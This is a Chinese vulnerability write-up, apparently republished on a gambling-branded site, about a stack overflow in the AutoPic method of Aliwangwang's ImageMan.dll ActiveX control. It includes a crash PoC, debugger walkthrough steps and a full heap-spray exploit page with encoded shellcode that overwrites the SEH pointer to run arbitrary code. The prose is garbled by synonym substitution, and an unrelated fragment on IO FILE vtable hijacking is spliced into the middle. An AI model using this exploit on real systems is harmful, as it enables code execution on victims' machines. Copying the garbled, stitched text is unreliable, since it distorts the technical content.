剖析某旺ActiveX控件ImageMan.dll栈溢出破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

剖析某旺ActiveX控件ImageMan.dll栈溢出破绽

申博_安全预警 申博 75次浏览 未收录 0个评论

0x1:破绽引见

阿里旺旺ActiveX控件ImageMan.dll动态链接库中有一个函数AutoPic,因为未对传入的参数长度举行校验致使栈溢出,在拷贝缓冲区数据时会读取到不可用地点,从而使顺序进入SEH非常处置惩罚流程,经由过程计算好缓冲区到SEH非常处置惩罚组织的位置用指定长度的字符串准确掩盖SEH指针从而掌握顺序实行流程到达实行恣意代码的结果。

0x2:破绽剖析环境

操作系统:windowsXP SP3
阿里旺旺版本:AliIM2010_taobao(6.50.00C)
调试器:OD

0x3:破绽复现

POC代码以下:

<html>
 <body>
 <object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object>
 <script>
 var buffer = '';
 while (buffer.length < 1111) buffer+="A";
 target.AutoPic(buffer,"defaultV");
 </script>
 </body>
</html>

搭建好环境后,用OD附加IE浏览器后F9运转IE,用IE翻开POC文件后提醒读取到了一个不可用的地点,同时能够看到右下角的栈区被超长的字符串”AAA……(ascii为41)”填满了,应该是发作了缓冲区溢出:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽

0x4:破绽剖析

按“Crtl+F2”用OD从新加载此时IE并运转,先不加载POC文件,按“ALT+E”翻开模块列表然后找到OLEAUT32,双击进入该模块,接着按“Crtl+N”在函数列表中找到DispCallFunc,双击进入该函数,往下找到“call ecx”指令,双击下断点,然后用IE浏览器翻开POC文件,顺序会断在之前的“call ecx”处:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽

然后F7单步进入该函数,来到函数AutoPic的入口处:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽

IO FILE 之劫持vtable及FSOP

之前的文章对IO FILE相关功能函数的源码进行了分析,后续将对IO FILE相关的利用进行阐述。 传送门: IO FILE之fopen详解 IO FILE之fread详解 IO FILE之fwrite详解 IO_FILE之fclose详解 经过了前面对于fopen等源码的介绍,知道了IO FILE结构体里面有个很重要的数据结构–vtable,IO函数的很多功能都是通过它去实现的。接下来主要描述如何通过劫持vtable去实现控制函数执行流以及通过FSOP来进行利用。 vtable劫持 本文是基于libc 2.23及之前的libc上可实施的,libc2.24之后加入了vtable check机制,无法再构造vtable。 vtable是_IO_FILE_plus结构体里的一个字段,是一个函数表指针,里面存储着许多和IO相关的函数。 劫持原理 _IO_FILE_plus结构体的定义为: struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_ju

F8往下实行就看到用于考证缓冲区溢出的超长字符串“AAAA……”:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽

接着往下走来到0x10011CAC,溢出就发作在这里:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽

能够发明拷贝字符串之前未对字符串长度举行校验,终究致使溢出。

发作溢出后客栈均衡被损坏,顺序出现非常,最先进入非常处置惩罚流程,因为缓冲区中的字符串长度太长,掩盖了栈区中的非常处置惩罚组织指针,因而能够经由过程经心组织传入的字符串,掌握好掩盖非常处置惩罚组织指针的字节,从而在溢出发作后掌握eip到指定位置实行shellcode。

0x5:破绽应用
破绽应用代码(EXP)参考了泉哥写的,运用的手艺是经常使用的堆放射,溢出后准确掩盖SEH指针,当顺序实行非常处置惩罚翰苏时就会跳转到指定地点,进入后堆喷代码后就能够实行恣意代码

<html>
<body>
<object classid="clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF" id="target"></object> 
<script>

shellcode = unescape(
'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e');

nops=unescape('%u9090%u9090');
headersize =20;
slackspace= headersize + shellcode.length;

while(nops.length < slackspace) nops+= nops;
fillblock= nops.substring(0, slackspace);
block= nops.substring(0, nops.length- slackspace);

while( block.length+ slackspace<0x50000) block= block+ block+ fillblock;
memory=new Array();

for( counter=0; counter<200; counter++) 
    memory[counter]= block + shellcode;
s='';
for( counter=0; counter<=1000; counter++) 
    s+=unescape("%0D%0D%0D%0D");

target.AutoPic(s,"defaultV");

</script>
</body>
</html>

翻开该HTML页面后能够看到胜利弹出了计算器:
剖析某旺ActiveX控件ImageMan.dll栈溢出破绽


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明剖析某旺ActiveX控件ImageMan.dll栈溢出破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址